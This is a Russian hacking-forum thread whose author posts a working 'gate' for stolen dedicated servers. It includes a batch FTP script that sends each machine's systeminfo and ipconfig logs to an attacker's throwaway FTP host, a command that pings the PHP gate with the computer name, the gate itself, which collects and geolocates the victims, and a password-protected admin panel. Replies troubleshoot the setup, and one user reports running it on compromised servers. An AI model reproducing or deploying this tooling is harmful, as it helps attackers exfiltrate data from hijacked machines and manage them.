Статьи [EasyHack] Dedicated Servers - ГЕЙТ

Discussion in 'Статьи' started by |qbz|, 6 Apr 2010.

  1. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    Это продолжение статьи [EasyHack] Dedicated Servers

    Сегодня я расскажу как написать простой гейт для логов с дедушки, для чего он нужен и как его использовать.

    Задача: накодить гейт на PHP, который бы ловил логи после запуска вышеуказонного батника, парсил бы их итд итп.

    Решение:

    Чтобы создать все это дело в одном батнике (да да, на деде будет для посылки логов на гейт запущен только батничек) я долго думал, как это реализовать. В конце концов я пришел к выводу, что надо просто заливать на фтп логи (а это логи системной информации и ipconfig - читай описание батника выше) и потом вызывать PHP скрипт который бы данные логи принял, сохранил и сделал все что нашей душе угодно. От теории к делу. Вот что нам потребуется:

    1) фтп номер 1 - для слива свежих логов с какого-нибудь деда
    2) фтп номер 2 - там будет стоять гейт, который с помощью пхп скрипта берет содержимое логов (по http) и добавляет к себе в базу.

    Обьясню зачем нам нужно 2 фтп, а не один для гейта. Дело в том, что батник, хоть он и упакован каким нибудь УПХ с паролем итд итп - все равно не спасет от того чтобы из данного батника выдернуть логин и пасс к фтп. Из этого следует простой вывод - если спалить логин и пасс от фтп, где стоит гейт, то можно этот гейт потерять, соответственно и потерять базу дедов, если есть таковая. Поэтому мы просто регаем фришный хостинг с фтп, и заливаем логи именно туда.

    Давайте реализуем сперва эту часть, а потом приступим к другой.

    Допустим мы зарегали хостинг
    Code:
    ftp://abcd:[email protected]
    Делаем фтп сервер для нашего батника:

    Code:
    o servachok.com
    abcd
    qwer
    cd logs
    send c:\windows\system32\infos\systeminfo.txt system.txt
    send c:\windows\system32\infos\ipc.txt ipconf.txt
    bye
    Сохраняем как ftpserv.cmd и добавляем в конце батника (главного, который выше) строку:

    Code:
    @ftp -s:"%CD%/ftpserv.cmd"
    При создании ехе из батника - не забываем добавить в "Include" файл ftpserv.cmd
    Вроде с заливкой логов на фтп проблем нет. Приступаем к следующей части. Теперь нам надо:

    1) добавить вызов гейта в наш батничек
    2) написать сам гейт + админочку

    Зачем нам вызывать гейт из батника? Затем что после заливки логов на принимающий фтп нам нужно об этом нашему гейту сказать - мол, давай, лови логи, гейт ты наш дорогой.
    Это очень просто: просто добавляем в конец батника данный код:

    Code:
    @start iexplore.exe "http://servak-pod-adminku.com/gate.php?name=%COMPUTERNAME%"
    Теперь пишем гейт на пхп:
    PHP:
    <?php
        
    if (isset($_GET['name']))
        {
            
    //slivaem s podstavnogo ftp sistemnuyu infu deda

            
    $add_systeminfo file_get_contents("http://abcd.servachok.com/logs/system.txt");
            
    $add_systeminfo base64_encode($add_systeminfo);
            
    $write fopen("./logs/".$_SERVER['REMOTE_ADDR']."_sys.txt","w+");
            
    fputs($write,$add_systeminfo);
            
    fclose($write);
            
            
    //slivaem s podstavnogo ftp ipconfig deda
            
            
    $add_ipc file_get_contents("http://abcd.servachok.com/logs/ipconf.txt");
            
    $add_ipc base64_encode($add_ipc);
            
    $write fopen("./logs/".$_SERVER['REMOTE_ADDR']."_ipc.txt","w+");
            
    fputs($write,$add_ipc);
            
    fclose($write);
            
            
    //pishem infu, peredannuyu po http
            //ishem stranu i gorod po ip deda
            
    $strana file("http://ip-whois.net/ip_geo.php?ip=".$_SERVER['REMOTE_ADDR']);
            
    $i 0;
            for (
    $i=0;$i<count($strana);$i++)
            {
                if (
    strstr($strana[$i],"<input type=\"submit\" value=\"Узнать информацию о IP\">"))
                {
                    
    $textf=$strana[$i+5]."\n".$strana[$i+7]."\n";
                }
            }
            
    //pishem imya kompa, ip deda, stranu i gorod
            
    $add_inf stripslashes(htmlspecialchars($_GET['name']))."\n".$_SERVER['REMOTE_ADDR']."\n".$textf;
            
    $add_inf base64_encode($add_inf);
            
    $write fopen("./logs/".$_SERVER['REMOTE_ADDR']."_inf.txt","w+");
            
    fputs($write,$add_inf);
            
    fclose($write);
            
            
    header("Location: http://google.com");
        }
        else
        {
            
    header("Location: http://google.com");
        }
    ?>
    И файл .htaccess к нему:
    Code:
    php_flag allow_url_fopen on
    При вызове гейта из батника, он примет инфу и откроет гоогле. )

    Переходим к админке:
    PHP:
     <html> 
    <font face=verdana size=-1> 
    <?php
        
    function show_ipc($serv)
        {
            if (
    file_exists("./logs/".$serv."_ipc.txt"))
            {
                
    $ipc=file("./logs/".$serv."_ipc.txt");
                
    $ipc=stripslashes(htmlspecialchars(base64_decode($ipc[0])));
                echo(
    "<pre>".$ipc."</pre>");
            }
        }
        function 
    show_sys($serv)
        {
            if (
    file_exists("./logs/".$serv."_sys.txt"))
            {
                
    $sys=file("./logs/".$serv."_sys.txt");
                
    $sys=stripslashes(htmlspecialchars(base64_decode($sys[0])));
                echo(
    "<pre>".$sys."</pre>");
            }
        }
        function 
    gf($path
        { 
            
    $folder=opendir($path); 
            
    $i=0
            while (
    $current_file=readdir($folder)) 
            { 
                if ((
    $current_file != ".") && ($current_file != "..") && ($current_file != "Thumbs.db")) 
                { 
                    
    $cf $current_file
                    
    $cf explode("_",$cf);
                    
    $cf $cf[0];
                    
    $items[$i]=$cf
                    
    $i=$i+1
                } 
            } 
            
    closedir($folder); 
            return(
    $items); 
        } 

        if (
    $_GET['pass']=="12345"
        {
            if ((
    $_GET['m']!="ipc") && ($_GET['m']!="sys"))
            {
            
    $dediki gf("./logs/"); 
            
    $dediki array_unique($dediki); 
            
    $i=0
            for (
    $i=0;$i<count($dediki);$i++) 
            { 
                
    $cur_ded $dediki[$i]; 
                
    $info file("./logs/".$cur_ded."_inf.txt"); 
                
    $info base64_decode($info[0]); 
                
    $info explode("\n",$info); 
                
    $name $info[0]; 
                
    $ip $info[1]; 
                
    $strana strip_tags(trim($info[2])); 
                
    $gorod $info[3]; 
                echo(
    "<div style=\"margin:10px;border-top:2px black solid;padding:5px;border-left:2px black solid;padding:5px;border-bottom:0px;border-right:0px;\">"); 
                echo(
    "<font color=gray>Computer Name:</font><font color=black> ".$name."</font><br>"); 
                echo(
    "<font color=gray>IP of DS:</font><font color=black> ".$ip."</font><br>"); 
                echo(
    "<font color=gray>Geo:</font><font color=black> ".$strana.", ".$gorod."</font><br>"); 
                echo(
    "<a href=\"./adm.php?m=sys&pass=" $_GET['pass'] . "&d=" $cur_ded "\" target=\"_blank\" style=\"color:blue;margin-right:20px;\">System Info</a>"); 
                echo(
    "<a href=\"./adm.php?m=ipc&pass=" $_GET['pass'] . "&d=" $cur_ded "\" target=\"_blank\" style=\"color:blue;margin-right:20px;\">IP Config</a>"); 
            }
            }
            if (
    $_GET['m']=="ipc")
            {
                
    show_ipc($_GET['d']);
            }
            if (
    $_GET['m']=="sys")
            {
                
    show_sys($_GET['d']);
            }
        } 
        else 
        { 
            
    header("Location: http://google.com"); 
        } 
    ?> 
    </font> 
    </html> 
    Вызов админки идет примерно так:
    http://servak-pod-adminku.com/adm.php?pass=12345

    В ней у нас будут рассортированы дедики...

    Любые добавления / пожелания / моддинг данного гейта,админки - приветствуется.
     
    #1 |qbz|, 6 Apr 2010
    Last edited: 17 Apr 2010
    6 people like this.
  2. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    лол, сейчас смотрел статью и увидел, что забыл в прошлый раз запостить код админки! ну я даю.. ) вобщем теперь там и админка.
     
  3. Cecil B Demented

    Cecil B Demented New Member

    Joined:
    13 Nov 2006
    Messages:
    19
    Likes Received:
    4
    Reputations:
    5
    Поскуднел ачат, поскуднел :)
    Палевно слишком эта суета вся.
     
  4. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    админка пофиксена, корректно выводит инфу
     
  5. xxxBARTONxxx

    xxxBARTONxxx New Member

    Joined:
    11 Oct 2009
    Messages:
    36
    Likes Received:
    1
    Reputations:
    -5
    почему то у меня логи на фтп не приходят, создал два файл
    info.bat
    и
    ftpserv.cmd
    положил оба файла на диск С:\ запускаю info.bat, но логи не приходят, может хостинг хреновый?
     
  6. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    dobav k info.cmd

     
  7. xxxBARTONxxx

    xxxBARTONxxx New Member

    Joined:
    11 Oct 2009
    Messages:
    36
    Likes Received:
    1
    Reputations:
    -5
    я имею в виду логи на первый ftp (фтп номер 1 - для слива свежих логов с какого-нибудь деда) не приходят!
     
  8. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    значит проверь:

    правильный ли адрес фтп-сервера, правильный ли логин/пасс от фтп,существуют ли файлы сис-инфы и айпиконфига, есть ли на фтп папка "logs", стоят ли на папке logs chnod 777

    chmod реализуется на пхп таким скриптом:

    из хостингов советую попробовать (у меня самого другой) freehostia.com
     
    #8 |qbz|, 25 Apr 2010
    Last edited: 25 Apr 2010
  9. [i]nspire

    [i]nspire New Member

    Joined:
    25 Apr 2010
    Messages:
    4
    Likes Received:
    2
    Reputations:
    0
    всё так запутанно /:
     
  10. mazaxaka

    mazaxaka Elder - Старейшина

    Joined:
    15 Feb 2008
    Messages:
    268
    Likes Received:
    35
    Reputations:
    0
    1. загрузка файлов на фтр не пашет. пишет не верные команды
    2. загрузил файлы на фтп в ручную . сделал запрос на гейт . захожу в админку просто белый екран
     
  11. MDxaker

    MDxaker Banned

    Joined:
    17 Mar 2009
    Messages:
    56
    Likes Received:
    15
    Reputations:
    0
    статья нормуль. читал раньше....

    но можна было бы сделать оформления для глаз приятнее!
     
  12. kRa$I-I

    kRa$I-I New Member

    Joined:
    23 Jan 2009
    Messages:
    30
    Likes Received:
    1
    Reputations:
    5
    Базы данных нынче юзать не модно?? fopen, fwrite рулит?
    Совет не плоди плагиат таких исходников гейтов в сети тонны...и systeminfo даст более полную информацию о машине.
    При всем уважении...
     
    #12 kRa$I-I, 18 May 2010
    Last edited: 18 May 2010
  13. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    не у всех фрихостов есть бд
    ты хоть сравнивал? )) при необходимости можно и сисинфо добавить, только логи диксдиаг более полные
     
  14. kRa$I-I

    kRa$I-I New Member

    Joined:
    23 Jan 2009
    Messages:
    30
    Likes Received:
    1
    Reputations:
    5
    НУ КОНЕЧНО ЖЕ НЕ У ВСЕХ))
    ДА)) А ТО!! КАЖДЫЙ ДЕНЬ СРАВНИВАЮ АДМИНКИ ДЛЯ ЗОМБИ _ЛЭНДОВ. ВОТ УЖЕ ПРЯМ ВСЕ СРАВНИЛ ЗАВТРА ОТЧЕТ ПРЕДОСТАВЛЮ)))

    ps. Все с чего-то начинают, я все понимаю, но может пока не стоит писать статьи и учить остальных тому, что сам не знаешь в совершенстве)) Удачи в будущих проектах. ссори за оффтоп более не буду)))
     
  15. winlogon.exe

    winlogon.exe Active Member

    Joined:
    5 Jun 2009
    Messages:
    31
    Likes Received:
    129
    Reputations:
    13
    поставил на пару дедах. Вроде все гуд